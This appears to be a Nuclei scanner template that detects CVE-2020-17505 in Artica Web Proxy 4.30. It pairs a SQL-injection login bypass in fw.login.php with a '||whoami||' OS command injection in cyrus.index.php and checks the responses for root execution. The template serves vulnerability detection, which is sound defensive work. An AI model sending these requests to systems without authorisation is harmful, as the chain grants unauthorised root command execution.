43 lines
1.2 KiB
YAML
43 lines
1.2 KiB
YAML
id: CVE-2020-17505
|
|
|
|
info:
|
|
name: Artica Web Proxy 4.30 OS Command Injection
|
|
author: dwisiswant0
|
|
severity: high
|
|
description: Artica Web Proxy 4.30.000000 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.
|
|
reference:
|
|
- https://blog.max0x4141.com/post/artica_proxy/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2020-17505
|
|
cwe-id: CWE-78
|
|
tags: cve,cve2020,rce,artica,proxy
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
- |
|
|
GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: */*
|
|
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "array(2)"
|
|
- "Position: ||whoami||"
|
|
- "root"
|
|
condition: and
|
|
|
|
part: body
|
|
- type: status
|
|
status:
|
|
- 200
|